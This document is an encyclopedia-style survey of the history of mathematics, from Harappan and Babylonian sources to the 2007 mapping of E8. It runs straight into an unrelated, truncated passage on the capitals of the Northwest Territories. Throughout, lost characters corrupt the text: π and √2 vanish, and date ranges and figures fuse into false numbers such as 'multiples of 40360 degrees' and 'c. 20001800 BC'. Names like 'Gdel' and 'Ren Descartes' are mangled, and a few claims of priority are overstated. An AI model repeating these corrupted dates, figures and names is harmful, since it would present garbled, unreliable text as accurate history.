          The earliest known mathematics in ancient India dates back to circa 3000- 2600 BC in the Indus Valley Civilization (Harappan civilization) of North India and Pakistan, which developed a system of uniform weights and measures that used the decimal system, a surprisingly advanced brick technology which utilised ratios, streets laid out in perfect right angles, and a number of geometrical shapes and designs, including cuboids, barrels, cones, cylinders, and drawings of concentric and intersecting circles and triangles. Mathematical instruments discovered include an accurate decimal ruler with small and precise subdivisions, a shell instrument that served as a compass to measure angles on plane surfaces or in horizon in multiples of 40360 degrees, a shell instrument used to measure 812 whole sections of the horizon and sky, and an instrument for measuring the positions of stars for navigational purposes. The Indus script has not yet been deciphered; hence very little is known about the written forms of Harappan mathematics. Archeological evidence has led some historians to believe that this civilization used a base 8 numeral system and possessed knowledge of the ratio of the length of the circumference of the circle to its diameter, thus a value of . Dating from the Shang Dynasty ( 1600 1046 BC), the earliest extant Chinese mathematics consists of numbers scratched on tortoise shell . These numbers use a decimal system, so that the number 123 is written (from top to bottom) as the symbol for 1 followed by the symbol for a hundred, then the symbol for 2 followed by the symbol for ten, then the symbol for 3. This was the most advanced number system in the world at the time and allowed calculations to be carried out on the suan pan or Chinese abacus. The date of the invention of the suan pan is not certain, but the earliest written reference was in AD 190 in the Supplementary Notes on the Art of Figures written by Xu Yue.


          


          Ancient Near East (c. 1800-500 BC)


          


          Mesopotamia


          Babylonian mathematics refers to any mathematics of the peoples of Mesopotamia (modern Iraq) from the days of the early Sumerians until the beginning of the Hellenistic period. It is named Babylonian mathematics due to the central role of Babylon as a place of study, which ceased to exist during the Hellenistic period. From this point, Babylonian mathematics merged with Greek and Egyptian mathematics to give rise to Hellenistic mathematics. Later under the Arab Empire, Iraq/Mesopotamia, especially Baghdad, once again became an important centre of study for Islamic mathematics.


          In contrast to the sparsity of sources in Egyptian mathematics, our knowledge of Babylonian mathematics is derived from more than 400 clay tablets unearthed since the 1850s. Written in Cuneiform script, tablets were inscribed whilst the clay was moist, and baked hard in an oven or by the heat of the sun. Some of these appear to be graded homework.


          The earliest evidence of written mathematics dates back to the ancient Sumerians, who built the earliest civilization in Mesopotamia. They developed a complex system of metrology from 3000 BC. From around 2500 BC onwards, the Sumerians wrote multiplication tables on clay tablets and dealt with geometrical exercises and division problems. The earliest traces of the Babylonian numerals also date back to this period.


          The majority of recovered clay tablets date from 1800 to 1600 BC, and cover topics which include fractions, algebra, quadratic and cubic equations, and the calculation of Pythagorean triples (see Plimpton 322). The tablets also include multiplication tables, trigonometry tables and methods for solving linear and quadratic equations. The Babylonian tablet YBC 7289 gives an approximation to 2 accurate to five decimal places.


          Babylonian mathematics was written using a sexagesimal (base-60) numeral system. From this we derive the modern day usage of 60 seconds in a minute, 60 minutes in an hour, and 360 (60 x 6) degrees in a circle. Babylonian advances in mathematics were facilitated by the fact that 60 has many divisors. Also, unlike the Egyptians, Greeks, and Romans, the Babylonians had a true place-value system, where digits written in the left column represented larger values, much as in the decimal system. They lacked, however, an equivalent of the decimal point, and so the place value of a symbol often had to be inferred from the contex.


          


          Egypt


          Egyptian mathematics refers to mathematics written in the Egyptian language. From the Hellenistic period, Greek replaced Egyptian as the written language of Egyptian scholars, and from this point Egyptian mathematics merged with Greek and Babylonian mathematics to give rise to Hellenistic mathematics. Mathematical study in Egypt later continued under the Arab Empire as part of Islamic mathematics, when Arabic became the written language of Egyptian scholars.


          The oldest mathematical text discovered so far is the Moscow papyrus, which is an Egyptian Middle Kingdom papyrus dated c. 20001800 BC. Like many ancient mathematical texts, it consists of what are today called "word problems" or "story problems", which were apparently intended as entertainment. One problem is considered to be of particular importance because it gives a method for finding the volume of a frustum: "If you are told: A truncated pyramid of 6 for the vertical height by 4 on the base by 2 on the top. You are to square this 4, result 16. You are to double 4, result 8. You are to square 2, result 4. You are to add the 16, the 8, and the 4, result 28. You are to take one third of 6, result 2. You are to take 28 twice, result 56. See, it is 56. You will find it right."


          The Rhind papyrus (c. 1650 BC ) is another major Egyptian mathematical text, an instruction manual in arithmetic and geometry. In addition to giving area formulas and methods for multiplication, division and working with unit fractions, it also contains evidence of other mathematical knowledge (see ), including composite and prime numbers; arithmetic, geometric and harmonic means; and simplistic understandings of both the Sieve of Eratosthenes and perfect number theory (namely, that of the number 6) . It also shows how to solve first order linear equations as well as arithmetic and geometric series .


          Also, three geometric elements contained in the Rhind papyrus suggest the simplest of underpinnings to analytical geometry: (1) first and foremost, how to obtain an approximation of  accurate to within less than one percent; (2) second, an ancient attempt at squaring the circle; and (3) third, the earliest known use of a kind of cotangent.


          Finally, the Berlin papyrus (c. 1300 BC ) shows that ancient Egyptians could solve a second-order algebraic equation .


          


          Ancient Indian mathematics (c. 900 BC  AD 200)


          Vedic mathematics begins in the early Iron Age, with the Shatapatha Brahmana (c. 9th century BC), which approximates the value of  to 2 decimal places. , and the Sulba Sutras (c. 800-500 BC) were geometry texts that used irrational numbers, prime numbers, the rule of three and cube roots; computed the square root of 2 to five decimal places; gave the method for squaring the circle; solved linear equations and quadratic equations; developed Pythagorean triples algebraically and gave a statement and numerical proof of the Pythagorean theorem.


          Pāṇini (c. 5th century BC) formulated the grammar rules for Sanskrit. His notation was similar to modern mathematical notation, and used metarules, transformations, and recursions with such sophistication that his grammar had the computing power equivalent to a Turing machine. Pingala (roughly 3rd-1st centuries BC) in his treatise of prosody uses a device corresponding to a binary numeral system. His discussion of the combinatorics of meters, corresponds to the binomial theorem. Pingala's work also contains the basic ideas of Fibonacci numbers (called mātrāmeru). The Brāhmī script was developed at least from the Maurya dynasty in the 4th century BC, with recent archeological evidence appearing to push back that date to around 600 BC. The Brahmi numerals date to the 3rd century BC.


          Between 400 BC and AD 200, Jaina mathematicians began studying mathematics for the sole purpose of mathematics. They were the first to develop transfinite numbers, set theory, logarithms, fundamental laws of indices, cubic equations, quartic equations, sequences and progressions, permutations and combinations, squaring and extracting square roots, and finite and infinite powers. The Bakhshali Manuscript written between 200 BC and AD 200 included solutions of linear equations with up to five unknowns, the solution of the quadratic equation, arithmetic and geometric progressions, compound series, quadratic indeterminate equations, simultaneous equations, and the use of zero and negative numbers. Accurate computations for irrational numbers could be found, which includes computing square roots of numbers as large as a million to at least 11 decimal places.


          


          Greek and Hellenistic mathematics (c. 550 BCAD 300)
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          Greek mathematics refers to mathematics written in Greek between about 600 BCE and 450 CE. Greek mathematicians lived in cities spread over the entire Eastern Mediterranean, from Italy to North Africa, but were united by culture and language. Greek mathematics is sometimes called Hellenistic mathematics.
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          Greek mathematics was much more sophisticated than the mathematics that had been developed by earlier cultures. All surviving records of pre-Greek mathematics show the use of inductive reasoning, that is, repeated observations used to establish rules of thumb. Greek mathematicians, by contrast, used deductive reasoning. The Greeks used logic to derive conclusions from definitions and axioms.


          Greek mathematics is thought to have begun with Thales (c. 624c.546 BC) and Pythagoras (c. 582c. 507 BC). Although the extent of the influence is disputed, they were probably inspired by the ideas of Egypt, Mesopotamia and perhaps India. According to legend, Pythagoras travelled to Egypt to learn mathematics, geometry, and astronomy from Egyptian priests.


          Thales used geometry to solve problems such as calculating the height of pyramids and the distance of ships from the shore. Pythagoras is credited with the first proof of the Pythagorean theorem, though the statement of the theorem has a long history. In his commentary on Euclid, Proclus states that Pythagoras expressed the theorem that bears his name and constructed Pythagorean triples algebraically rather than geometrically. The Academy of Plato had the motto "let none unversed in geometry enter here".


          The Pythagoreans discovered the existence of irrational numbers. Eudoxus (408 c.355 BC) invented the method of exhaustion, a precursor of modern integration. Aristotle (384c.322 BC) first wrote down the laws of logic. Euclid (c. 300 BC) is the earliest example of the format still used in mathematics today, definition, axiom, theorem, proof. He also studied conics. His book, Elements, was known to all educated people in the West until the middle of the 20th century. In addition to the familiar theorems of geometry, such as the Pythagorean theorem, Elements includes a proof that the square root of two is irrational and that there are infinitely many prime numbers. The Sieve of Eratosthenes (ca. 230 BC) was used to discover prime numbers.


          Some say the greatest of Greek mathematicians, if not of all time, was Archimedes ( 287 212 BC) of Syracuse. According to Plutarch, at the age of 75, while drawing mathematical formulas in the dust, he was run through with a spear by a Roman soldier. Ancient Rome left little evidence of any interest in pure mathematics.


          


          Classical Chinese mathematics (c. 500 BCAD 1300)
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          In China, in 212 BC, the Emperor Qin Shi Huang (Shi Huang-ti) commanded that all books outside of Qin state to be burned. While this order was not universally obeyed, as a consequence little is known with certainty about ancient Chinese mathematics.


          From the Western Zhou Dynasty (from 1046 BC), the oldest mathematical work to survive the book burning is the I Ching, which uses the 8 binary 3- tuples (trigrams) and 64 binary 6- tuples (hexagrams) for philosophical, mathematical, and/or mystical purposes. The binary tuples are composed of broken and solid lines, called yin 'female' and yang 'male' respectively (see King Wen sequence).


          The oldest existent work on geometry in China comes from the philosophical Mohist canon of c. 330 BC, compiled by the followers of Mozi (470 BC-390 BC). The Mo Jing described various aspects of many fields associated with physical science, and provided a small wealth of information on mathematics as well.


          After the book burning, the Han dynasty (202 BC220 AD) produced works of mathematics which presumably expand on works that are now lost. The most important of these is The Nine Chapters on the Mathematical Art, the full title of which appeared by 179 AD, but existed in part under other titles beforehand. It consists of 246 word problems, involving agriculture, business, employment of geometry to figure height spans and dimension ratios for Chinese pagoda towers, engineering, surveying, and includes material on right triangles and . It also made use of Cavalieri's principle on volume more than a thousand years before Cavalieri would propose it in the West. It created mathematical proof for Pythagoras' Pythagorean theorem, and mathematical formula for Gaussian elimination. The work was commented on by Liu Hui in the 3rd century AD.


          In addition, the mathematical works of the Han astronomer and inventor Zhang Heng (78-139 AD) had a formulation for pi as well, which differed from Liu Hui's calculation. Zhang Heng used his formula of pi to find spherical volume. There was also the written work of the mathematician and music theorist Jing Fang (7837 BC); by using the Pythagorean comma, Jing observed that 53 just fifths approximates to 31 octaves. This would later lead to the discovery of 53 equal temperament, and was not calculated precisely elsewhere until the German Nicholas Mercator did so in the 17th century.


          The Chinese also made use of the complex combinatorial diagram known as the 'magic square and magic circles which was described in ancient times and perfected by Yang Hui (12381398 AD).
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          Zu Chongzhi (5th century) of the Southern and Northern Dynasties computed the value of  to seven decimal places, which remained the most accurate value of  for almost 1000 years.


          In the thousand years following the Han dynasty, starting in the Tang dynasty and ending in the Song dynasty, Chinese mathematics thrived at a time when European mathematics did not exist. Developments first made in China, and only much later known in the West, include negative numbers, the binomial theorem, matrix methods for solving systems of linear equations and the Chinese remainder theorem. The Chinese also developed Pascal's triangle and the rule of three long before it was known in Europe. Besides Zu Chongzhi, some of the most important figures of Chinese mathematics during this period include Yi Xing, Shen Kuo, Qin Jiushao, Zhu Shijie, and others. The scientist Shen Kuo used problems involving calculus, trigonometry, metrology, permutations, and once computed the possible amount of terrain space that could be used with specific battle formations, as well as the longest possible military campaign given the amount of food carriers could bring for themselves and soldiers.


          Even after European mathematics began to flourish during the Renaissance, European and Chinese mathematics were separate traditions, with significant Chinese mathematical output in decline, until the Jesuit missionaries such as Matteo Ricci carried mathematical ideas back and forth between the two cultures from the 16th to 18th centuries.


          


          Classical Indian mathematics (c. 4001600)
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          The Surya Siddhanta (c. 400) introduced the trigonometric functions of sine, cosine, and inverse sine, and laid down rules to determine the true motions of the luminaries, which conforms to their actual positions in the sky. The cosmological time cycles explained in the text, which was copied from an earlier work, corresponds to an average sidereal year of 365.2563627 days, which is only 1.4 seconds longer than the modern value of 365.25636305 days. This work was translated to Arabic and Latin during the Middle Ages.


          Aryabhata in 499 introduced the versine function, produced the first trigonometric tables of sine, developed techniques and algorithms of algebra, infinitesimals, differential equations, and obtained whole number solutions to linear equations by a method equivalent to the modern method, along with accurate astronomical calculations based on a heliocentric system of gravitation. An Arabic translation of his Aryabhatiya was available from the 8th century, followed by a Latin translation in the 13th century. He also computed the value of  to the fourth decimal place as 3.1416. Madhava later in the 14th century computed the value of  to the eleventh decimal place as 3.14159265359.


          In the 7th century, Brahmagupta identified the Brahmagupta theorem, Brahmagupta's identity and Brahmagupta's formula, and for the first time, in Brahma-sphuta-siddhanta, he lucidly explained the use of zero as both a placeholder and decimal digit and explained the Hindu-Arabic numeral system. It was from a translation of this Indian text on mathematics (around 770) that Islamic mathematicians were introduced to this numeral system, which they adapted as Arabic numerals. Islamic scholars carried knowledge of this number system to Europe by the 12th century, and it has now displaced all older number systems throughout the world. In the 10th century, Halayudha's commentary on Pingala's work contains a study of the Fibonacci sequence and Pascal's triangle, and describes the formation of a matrix.


          In the 12th century, Bhaskara first conceived differential calculus, along with the concepts of the derivative, differential coefficient and differentiation. He also stated Rolle's theorem (a special case of the mean value theorem), studied Pell's equation, and investigated the derivative of the sine function. From the 14th century, Madhava and other Kerala School mathematicians, further developed his ideas. They developed the concepts of mathematical analysis and floating point numbers, and concepts fundamental to the overall development of calculus, including the mean value theorem, term by term integration, the relationship of an area under a curve and its antiderivative or integral, tests of convergence, iterative methods for solutions of non-linear equations, and a number of infinite series, power series, Taylor series and trigonometric series. In the 16th century, Jyeshtadeva consolidated many of the Kerala School's developments and theorems in the Yuktibhasa, the world's first differential calculus text, which also introduced concepts of integral calculus. Mathematical progress in India became stagnant from the late 16th century onwards due to subsequent political turmoil.


          


          Islamic mathematics (c. 8001500)
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          The Islamic Arab Empire established across the Middle East, Central Asia, North Africa, Iberia, and in parts of India in the 8th century made significant contributions towards mathematics. Although most Islamic texts on mathematics were written in Arabic, they were not all written by Arabs, since much like the status of Greek in the Hellenistic world, Arabic was used as the written language of non-Arab scholars throughout the Islamic world at the time. Some of the most important Islamic mathematicians were Persian.


          Muḥammad ibn Mūsā al-Ḵwārizmī, a 9th century Persian mathematician and astronomer to the Caliph of Baghdad, wrote several important books on the Hindu-Arabic numerals and on methods for solving equations. His book On the Calculation with Hindu Numerals, written about 825, along with the work of the Arab mathematician Al-Kindi, were instrumental in spreading Indian mathematics and Indian numerals to the West. The word algorithm is derived from the Latinization of his name, Algoritmi, and the word algebra from the title of one of his works, Al-Kitāb al-mukhtaṣar fī hīsāb al-ğabr wal-muqābala (The Compendious Book on Calculation by Completion and Balancing). Al-Khwarizmi is often called the "father of algebra", for his preservation of ancient algebraic methods and for his original contributions to the field. Further developments in algebra were made by Abu Bakr al-Karaji (9531029) in his treatise al-Fakhri, where he extends the methodology to incorporate integer powers and integer roots of unknown quantities. In the 10th century, Abul Wafa translated the works of Diophantus into Arabic and developed the tangent function.


          The first known proof by mathematical induction appears in a book written by Al-Karaji around 1000 AD, who used it to prove the binomial theorem, Pascal's triangle, and the sum of integral cubes. The historian of mathematics, F. Woepcke, praised Al-Karaji for being "the first who introduced the theory of algebraic calculus." Ibn al-Haytham was the first mathematician to derive the formula for the sum of the fourth powers, and using the method of induction, he developed a method for determining the general formula for the sum of any integral powers, which was fundamental to the development of integral calculus.


          Omar Khayyam, the 12th century poet, was also a mathematician, and wrote Discussions of the Difficulties in Euclid, a book about flaws in Euclid's Elements, especially the parallel postulate, and thus he laid the foundations for analytic geometry and non-Euclidean geometry. He was also the first to find the general geometric solution to cubic equations. He was also very influential in calendar reform. The Persian mathematician Nasir al-Din Tusi (Nasireddin) in the 13th century made advances in spherical trigonometry. He also wrote influential work on Euclid's parallel postulate. In the 15th century, Ghiyath al-Kashi computed the value of  to the 16th decimal place. Kashi also had an algorithm for calculating nth roots, which was a special case of the methods given many centuries later by Ruffini and Horner. Other notable Muslim mathematicians included al-Samawal, Abu'l-Hasan al-Uqlidisi, Jamshid al-Kashi, Thabit ibn Qurra, Abu Kamil and Abu Sahl al-Kuhi.


          Other achievements of Muslim mathematicians during this period include the development of algebra and algorithms (see Muhammad ibn Mūsā al-Khwārizmī), the invention of spherical trigonometry, the addition of the decimal point notation to the Arabic numerals, the discovery of all the modern trigonometric functions besides sine, al-Kindi's introduction of cryptanalysis and frequency analysis, al-Karaji's introduction of algebraic calculus and proof by mathematical induction, the development of analytic geometry and the earliest general formula for infinitesimal and integral calculus by Ibn al-Haytham, the beginning of algebraic geometry by Omar Khayyam, the first refutations of Euclidean geometry and the parallel postulate by Nasīr al-Dīn al-Tūsī, the first attempt at a non-Euclidean geometry by Sadr al-Din, and numerous other advances in algebra, arithmetic, calculus, cryptography, geometry, number theory and trigonometry.


          During the time of the Ottoman Empire (from the 15th century) the development of Islamic mathematics became stagnant. This parallels the stagnation of mathematics when the Romans conquered the Hellenistic world.


          John J. O'Connor and Edmund F. Robertson wrote in the MacTutor History of Mathematics archive:


          
            
              "Recent research paints a new picture of the debt that we owe to Islamic mathematics. Certainly many of the ideas which were previously thought to have been brilliant new conceptions due to European mathematicians of the sixteenth, seventeenth and eighteenth centuries are now known to have been developed by Arabic/Islamic mathematicians four centuries earlier. In many respects, the mathematics studied today is far closer in style to that of Islamic mathematics than to that of Hellenistic mathematics."

            

          


          


          Medieval European mathematics (c. 5001400)


          Medieval European interest in mathematics was driven by concerns quite different from those of modern mathematicians. One driving element was the belief that mathematics provided the key to understanding the created order of nature, frequently justified by Plato's Timaeus and the biblical passage that God had "ordered all things in measure, and number, and weight" (Wisdom 11:21).


          


          Early Middle Ages (c. 5001100)


          Boethius provided a place for mathematics in the curriculum when he coined the term " quadrivium" to describe the study of arithmetic, geometry, astronomy, and music. He wrote De institutione arithmetica, a free translation from the Greek of Nicomachus's Introduction to Arithmetic; De institutione musica, also derived from Greek sources; and a series of excerpts from Euclid's Geometry. His works were theoretical, rather than practical, and were the basis of mathematical study until the recovery of Greek and Arabic mathematical works.


          


          Rebirth of mathematics in Europe (11001400)


          In the 12th century, European scholars travelled to Spain and Sicily seeking scientific Arabic texts, including al-Khwarizmi's al-Jabr wa-al-Muqabilah, translated into Latin by Robert of Chester, and the complete text of Euclid's Elements, translated in various versions by Adelard of Bath, Herman of Carinthia, and Gerard of Cremona.


          These new sources sparked a renewal of mathematics. Fibonacci, writing in the Liber Abaci, in 1202 and updated in 1254, produced the first significant mathematics in Europe since the time of Eratosthenes, a gap of more than a thousand years. The work introduced Hindu-Arabic numerals to Europe, and discussed many other mathematical problems. The fourteenth century saw the development of new mathematical concepts to investigate a wide range of problems. One important area that contributed to the development of mathematics concerned the analysis of local motion.


          Thomas Bradwardine proposed that speed (V) increases in arithmetic proportion as the ratio of force (F) to resistance (R) increases in geometric proportion. Bradwardine expressed this by a series of specific examples, but although the logarithm had not yet been invented, we can express his conclusion anachronistically by writing: V = log (F/R). Bradwardine's analysis is an example of transferring a mathematical technique used by al-Kindi and Arnald of Villanova to quantify the nature of compound medicines to a different physical problem.


          One of the 14th-century Oxford Calculators, William Heytesbury, lacking differential calculus and the concept of limits, proposed to measure instantaneous speed "by the path that would be described by [a body] if ... it were moved uniformly at the same degree of speed with which it is moved in that given instant".


          Heytesbury and others mathematically determined the distance covered by a body undergoing uniformly accelerated motion (which we would solve by a simple integration), stating that "a moving body uniformly acquiring or losing that increment [of speed] will traverse in some given time a [distance] completely equal to that which it would traverse if it were moving continuously through the same time with the mean degree [of speed]".


          Nicole Oresme at the University of Paris and the Italian Giovanni di Casali independently provided graphical demonstrations of this relationship, asserting that the area under the line depicting the constant acceleration, represented the total distance traveled. In a later mathematical commentary on Euclid's Geometry, Oresme made a more detailed general analysis in which he demonstrated that a body will acquire in each successive increment of time an increment of any quality that increases as the odd numbers. Since Euclid had demonstrated the sum of the odd numbers are the square numbers, the total quality acquired by the body increases as the square of the time.


          


          Early modern European mathematics (c. 14001600)


          In Europe at the dawn of the Renaissance, mathematics was still limited by the cumbersome notation using Roman numerals and expressing relationships using words, rather than symbols: there was no plus sign, no equal sign, and no use of x as an unknown.


          In 16th century European mathematicians began to make advances without precedent anywhere in the world, so far as is known today. The first of these was the general solution of cubic equations, generally credited to Scipione del Ferro circa 1510, but first published by Johannes Petreius in Nuremberg in Gerolamo Cardano's Ars magna, which also included the solution of the general quartic equation from Cardano's student Lodovico Ferrari .


          From this point on, mathematical developments came swiftly, contributing to and benefiting from contemporary advances in the physical sciences. This progress was greatly aided by advances in printing. The earliest mathematical books printed were Peurbach's Theoricae nova planetarum 1472 followed by a book on commercial arithmetic, the 1478 Treviso Arithmetic and then the first real mathematics book Euclid's Elements printed and published by Ratdolt 1482


          Driven by the demands of navigation and the growing need for accurate maps of large areas, trigonometry grew to be a major branch of mathematics. Bartholomaeus Pitiscus was the first to use the word, publishing his Trigonometria in 1595. Regiomontanus' table of sines and cosines was published in 1533.


          By century's end, thanks to Regiomontanus (14361476) and Franois Vieta (15401603), among others, mathematics was written using Hindu-Arabic numerals and in a form not too different from the notation used today.
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          17th century


          The 17th century saw an unprecedented explosion of mathematical and scientific ideas across Europe. Galileo, an Italian, observed the moons of Jupiter in orbit about that planet, using a telescope based on a toy imported from Holland. Tycho Brahe, a Dane, had gathered an enormous quantity of mathematical data describing the positions of the planets in the sky. His student, Johannes Kepler, a German, began to work with this data. In part because he wanted to help Kepler in his calculations, John Napier, in Scotland, was the first to investigate natural logarithms. Kepler succeeded in formulating mathematical laws of planetary motion. The analytic geometry developed by Ren Descartes (1596-1650), a French mathematician and philosopher, allowed those orbits to be plotted on a graph, in Cartesian coordinates. Building on earlier work by many mathematicians, Isaac Newton, an Englishman, discovered the laws of physics explaining Kepler's Laws, and brought together the concepts now known as calculus. Independently, Gottfried Wilhelm Leibniz, in Germany, developed calculus and much of the calculus notation still in use today. Science and mathematics had become an international endeavor, which would soon spread over the entire world.


          In addition to the application of mathematics to the studies of the heavens, applied mathematics began to expand into new areas, with the correspondence of Pierre de Fermat and Blaise Pascal. Pascal and Fermat set the groundwork for the investigations of probability theory and the corresponding rules of combinatorics in their discussions over a game of gambling. Pascal, with his wager, attempted to use the newly developing probability theory to argue for a life devoted to religion, on the grounds that even if the probability of success was small, the rewards were infinite. In some sense, this foreshadowed the development of utility theory in the 18th-19th century.
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          18th century
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          As we have seen, knowledge of the natural numbers, 1, 2, 3,..., as preserved in monolithic structures, is older than any surviving written text. The earliest civilizations -- in Mesopotamia, Egypt, India and China -- knew arithmetic.


          One way to view the development of the various number systems of modern mathematics is to see new numbers studied and investigated to answer questions about arithmetic performed on older numbers. In prehistoric times, fractions answered the question: what number, when multiplied by 3, gives the answer 1? In India and China, and much later in Germany, negative numbers were developed to answer the question: what do you get when you subtract a larger number from a smaller? The invention of the zero may have followed from similar question: what do you get when you subtract a number from itself?


          Another natural question is: what kind of a number is the square root of two? The Greeks knew that it was not a fraction, and this question may have played a role in the development of continued fractions. But a better answer came with the invention of decimals, developed by John Napier (1550 - 1617) and perfected later by Simon Stevin. Using decimals, and an idea that anticipated the concept of the limit, Napier also studied a new constant, which Leonhard Euler (1707 - 1783) named e.


          Euler was very influential in the standardization of other mathematical terms and notations. He named the square root of minus 1 with the symbol i. He also popularized the use of the Greek letter  to stand for the ratio of a circle's circumference to its diameter. He then derived one of the most remarkable identities in all of mathematics:


          
            	[image: e^{i \pi} +1 = 0 \,]

          


          (see Euler's Identity.)
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          19th century
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          Throughout the 19th century mathematics became increasingly abstract. In this century lived one of the greatest mathematicians of all time, Carl Friedrich Gauss (1777 - 1855). Leaving aside his many contributions to science, in pure mathematics he did revolutionary work on functions of complex variables, in geometry, and on the convergence of series. He gave the first satisfactory proofs of the fundamental theorem of algebra and of the quadratic reciprocity law.


          This century saw the development of the two forms of non-Euclidean geometry, where the parallel postulate of Euclidean geometry no longer holds. The Russian mathematician Nikolai Ivanovich Lobachevsky and his rival, the Hungarian mathematician Janos Bolyai, independently discovered hyperbolic geometry, where uniqueness of parallels no longer holds. In this geometry the sum of angles in a triangle add up to less than 180. Elliptic geometry was developed later in the 19th century by the German mathematician Bernhard Riemann; here no parallel can be found and the angles in a triangle add up to more than 180. Riemann also developed Riemannian geometry, which unifies and vastly generalizes the three types of geometry, and he defined the concept of a manifold, which generalize the ideas of curves and surfaces. Also in the nineteenth century William Rowan Hamilton developed noncommutative algebra.


          In addition to new directions in mathematics, older mathematics were given a stronger logical foundation, especially in the case of calculus, in work by Augustin-Louis Cauchy and Karl Weierstrass.


          A new form of algebra was developed in the nineteenth century called Boolean algebra, invented by the British mathematician George Boole. It was a system in which the only numbers were 0 and 1, a system which today has important applications in computer science.


          Also, for the first time, the limits of mathematics were explored. Niels Henrik Abel, a Norwegian, and variste Galois, a Frenchman, proved that there is no general algebraic method for solving polynomial equations of degree greater than four. Other 19th century mathematicians utilized this in their proofs that straightedge and compass alone are not sufficient to trisect an arbitrary angle, to construct the side of a cube twice the volume of a given cube, nor to construct a square equal in area to a given circle. Mathematicians had vainly attempted to solve all of these problems since the time of the ancient Greeks.


          Abel and Galois's investigations into the solutions of various polynomial equations laid the groundwork for further developments of group theory, and the associated fields of abstract algebra. In the 20th century physicists and other scientists have seen group theory as the ideal way to study symmetry.


          Towards the end of the 19th century, Georg Cantor invented the set theory, which has become the common language of different mathematical branches. The introduction of infinite set set off a debate on foundations of mathematics.


          The 19th century also saw the founding of the first mathematical societies: the London Mathematical Society in 1865, the Socit Mathmatique de France in 1872, the Circolo Mathematico di Palermo in 1884, the Edinburgh Mathematical Society in 1883, and the American Mathematical Society in 1888.


          Before the 20th century, there were very few creative mathematicians in the world at any one time. For the most part, mathematicians were either born to wealth, like Napier, or supported by wealthy patrons, like Gauss. There were a few who found meager livelihoods teaching at a university, like Fourier. Niels Henrik Abel, unable to obtain a position, died in poverty of malnutrition and tuberculosis at the age of twenty-six.
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          20th century
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          The profession of mathematician became much more important in the 20th century. Every year, hundreds of new Ph.D.s in mathematics are awarded, and jobs are available both in teaching and industry. Mathematical development has grown at an exponential rate, with too many new developments for a survey to even touch on any but a few of the most profound.


          In 1900, David Hilbert presented a list of 23 unsolved problems in mathematics at the International Congress of Mathematicians. These problems spanned many areas of mathematics and have formed a central focus for much of 20th century mathematics. Today ten have been resolved, seven are partially resolved and two problems are still open. The remaining four are too loose to be stated as resolved or not.


          In the 1910s, Srinivasa Aiyangar Ramanujan (1887-1920) developed over 3000 theorems, including properties of highly composite numbers, the partition function and its asymptotics, and mock theta functions. He also made major breakthroughs and discoveries in the areas of gamma functions, modular forms, divergent series, hypergeometric series and prime number theory.


          In 1931, Kurt Gdel published his two incompleteness theorems which state the limit of mathematical logic. It put an end to David Hilbert's dream of a complete and consistent mathematical system.


          Famous conjectures of the past yielded to new and more powerful techniques. Wolfgang Haken and Kenneth Appel used a computer to prove the four colour theorem in 1976. Andrew Wiles, working alone in his office for years, proved Fermat's last theorem in 1995. Mathematical collaborations of unprecedented size and scope took place. The classification of finite simple groups (also called the "enormous theorem") spanned tens of thousands of pages in 500-odd journal articles written by about 100 authors, published mostly between 1955 and 1983.


          Entire new areas of mathematics such as mathematical logic, topology, complexity theory, and game theory changed the kinds of questions that could be answered by mathematical methods.


          The French Bourbaki Group attempted to bring all of mathematics into a coherent rigorous whole, publishing under the pseudonym Nicolas Bourbaki. Their extensive work had a controversial influence on mathematical education.


          There were also new investigations of limitations to mathematics. Kurt Gdel proved that in any mathematical system that includes the integers, there are true statements that cannot be proved. Paul Cohen proved the independence of the continuum hypothesis from the standard axioms of set theory.


          By the end of the century, mathematics was even finding its way into art, as fractal geometry produced beautiful shapes never before seen.


          [bookmark: 21st_century]


          21st century


          At the dawn of the 21st century, many educators express concerns about a new underclass, the mathematically and scientifically illiterate. At the same time, mathematics, science, engineering, and technology have together created knowledge, communication, and prosperity undreamed of by ancient philosophers.


          In mid-March, 2007, a team of researchers throughout North America and Europe used networks of computers to map E8. Although it is not yet known exactly how this understanding of E8 can be applied, the discovery was a great mark of both teamwork and computational technology in modern mathematics.
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          The history of Northwest Territories capital cities begins with the purchase of the Territories by Canada from the Hudson's Bay Company in 1869 and includes a varied and often difficult evolution. Northwest Territories is unique amongst the Canadian province or territory in that it has had seven capital cities in its history. The territory has changed the seat of government for numerous reasons, including civil conflict, development of infrastructure, and revised territorial boundaries.


          The result of these changes has been a long and complex road to responsible government. Effectively providing services and representation for the population has been a particular challenge for the Territories' government, a task often complicated by the region's vast geographic area. A small number of communities in Northwest Territories have unsuccessfully tried to become the capital over the years. The territory has had the seat of government outside of its territorial boundaries twice in its history. The only other political division in Canada without a seat of government inside the territorial boundaries was the defunct District of Keewatin that existed from 1876 until 1905.


          The term "capital" refers to cities that have served as home for the Legislative Assembly of Northwest Territories, the legislative branch of Northwest Territories government. In Canada, it is customary for provincial and territorial level government to have the civil service administer from the same city as the legislative branch and executive branch. The Northwest Territories, however, had an administrative capital and a legislative capital officially exist between 1911 and 1967. This is the only province or territory in Canadian history to have had such an arrangement.


          In the early 1980s, the territory began a process that would see it divide itself. A new capital was needed for the brand new territory of Nunavut created out of the eastern half of the Northwest Territories as they existed from 1911 to 1999. Lessons were learned from the past changes in the seat of power, and a referendum was put to the territorial residents.


          


          Fort Garry, Manitoba (18701876)


          The Government of Canada purchased the North-Western Territory and Rupert's Land from the Hudson's Bay Company in 1868 under the terms of the Rupert's Land Act of 1868 for 300,000 British pounds. Both purchased territories were largely uninhabited, consisting mostly of uncharted wilderness. After the purchase, the Government decided to merge both of the properties into a single jurisdiction and appoint a single territorial government to run both. The purchase of the two territories added a sizable portion of the current Canadian landmass.


          
            [image: Canada (1870) in red and white: Manitoba is the small white box surrounded by the Territories (red).]

            
              Canada (1870) in red and white: Manitoba is the small white box surrounded by the Territories (red).
            

          


          In 1869, Ontario Member of Parliament William McDougall was appointed as the first Lieutenant Governor of the Northwest Territories and sent to Fort Garry to establish formal governance for Canada. Before his party arrived at the settlement, a small group led by Louis Reil intercepted him near the Ontario border and forced him to turn back because they opposed the transfer to the Canadian government. The inhabitants of the Red River Valley began the Red River Rebellion delaying formal governance until their demands for provincial status were met.


